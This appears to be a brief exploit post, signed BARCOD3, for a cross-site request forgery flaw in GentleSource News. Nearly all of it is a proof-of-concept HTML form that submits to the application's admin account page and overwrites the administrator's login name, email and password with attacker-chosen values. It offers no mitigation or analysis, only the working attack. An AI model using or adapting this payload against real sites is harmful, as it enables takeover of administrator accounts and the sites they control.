GentleSource News ~ XSRF Vuln.

< ------------------- header data start ------------------- >

#############################################################

# Application Name : GentleSource News
# Vulnerable Type : XSRF
# Infection : Administrator Informations can change.
# Author : BARCOD3

#############################################################

< ------------------- header data end of ------------------- >

<h1>BARCOD3</h>
<form action=[evil].com/path/admin/account.php method=post name=account id=account>
<input name=login_name type=text value=admin />
<input name=email type=text value=admin[MENTION=49871]example[/MENTION].com />
<input name=password type=password value=youroption/>
<input name=repeat type=password value=youroption />
<input name=save value=Save Account type=submit />
</form>

< -- bug code end of -- >